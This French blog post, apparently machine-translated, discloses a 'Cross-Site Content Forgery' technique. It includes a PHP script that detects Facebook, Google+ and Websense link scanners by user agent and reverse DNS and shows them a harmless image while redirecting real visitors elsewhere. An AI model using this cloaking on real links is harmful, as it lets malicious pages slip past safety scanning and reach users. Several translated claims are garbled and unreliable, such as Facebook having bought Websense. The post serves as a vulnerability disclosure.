6 octobre 2011

Une faille de sécurité importante sur Facebook et Google+

Blackhat Académie prétend avoir trouvé un moyen de contourner les restrictions de contenu sur des liens, comme affiché sur leur site de messages et de mettre sur le mur du public d'un utilisateur. Des analystes de la sécurité affirment même que Facebook a été informé de ces vulnérabilités le 31 Juillet, 2011. À ce jour (Octobre 4, 2011), Facebook n'a pas encore fait quelque chose à ce sujet. Facebook a récemment acheté Websense pour essayer de mettre cette vulnérabilité sous le tapis, mais l'exploit continue de fonctionner. Pour accéder à l’API FQL de Facebook, Facebook était même si prompt à donner une référence de tables et de colonnes dans la documentation de FQL. FQL ne permet pas l'utilisation de jointures, mais il n'est pas nécessaire que tout soit parfaitement documenté. Les attaquants peuvent abuser de cela lors de la création d'une application malveillante Facebook ou directement sur ​​la page FQL API de développement pour la collecte d'informations :

<?php
# User agent checking methods
$fb_string = '/facebookexternal/i';                # facebookexternal shows in the facebook content scanner's user agent
$gplus_string = '/Feedfetcher-Google/i';       # googleplus shows up in the user agent as well.
# rDNS Lookup Methods
$host_websense = '/websense.com/i';         # Checking the rdns for websense filters
$host_fb = '/tfbnw.net/i';                              # Checking the rdns for tfbnw.net - facebook host
# Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT'];
$u_ref     = $_SERVER['HTTP_REFERER'];
$u_host  = gethostbyaddr($_SERVER['REMOTE_ADDR']);
# If we're coming from or facebook or websense or google plus,
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {
    # Display an image
    header('Content-Type: image/jpeg');
    @readfile ('/var/www/localhost/cute_kitten.jpeg');
} else {
    # Rickroll this unsuspecting user
    header('Location: http://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');
}
?>

Alors que la plupart des principaux sites qui permettent de soumission de liens sont vulnérables à cette méthode, les sites, y compris Websense, Google +, et Facebook font des demandes facilement identifiables. Ces sites envoient une demande initiale de la liaison afin de stocker une vignette miroir de l'image, ou un instantané du site étant lié. En agissant ainsi, beaucoup utilisent un agent utilisateur personnalisé, ou ayant des adresses IP qui se résolvent à un nom de domaine cohérent. Les adresses IP Facebook résolvent à tfbnw.net, mettent également un agent utilisateur personnalisée de «facebookexternalhit». Google + (également notifié le 31 juillet et coupable de diligence raisonnable) suit à nouveau et utilise "Feedfetcher-Google" comme leur agent utilisateur. Sachant cela, nous pouvons facilement filtrer les demandes provenant de ces sites Web, et offrent une image légitime d'être affiché sur leur site, tout en réorientant l'affichage d'une page complètement différente à toute personne qui suit les liens. Récent partenariat avec Websense Facebook est risible, à cause de Websense scanner "ACE" de sécurité qui est tout aussi facile à identifier, en utilisant gethostbyaddr afin de résoudre l'IP vers websense.com. Utiliser cette technique permettrait à un nombre impressionnant de sites malveillants de passer inaperçues à leur analyse de site automatique. D'autres endroits comme «digg.com» ou usurper un agent utilisateur pour ressembler à un trafic normal, ou transférer l'agent utilisateur du client, ce qui rend chacune de leurs demandes plus difficiles à attraper. Heureusement, digg.com demande seulement le lien une fois, avant de soumettre le lien vers le monde. Cela permet à des attaquants distants afin servent une image légitime jusqu'à ce que la demande initiale efface notre serveur, et ensuite le remplacer par un fichier inférieure. Nous avons affectueusement appelé cette classe de vulnérabilité Cross-Site Content Forgery. La preuve du concept peut être vue ici.

Aucun commentaire:

Enregistrer un commentaire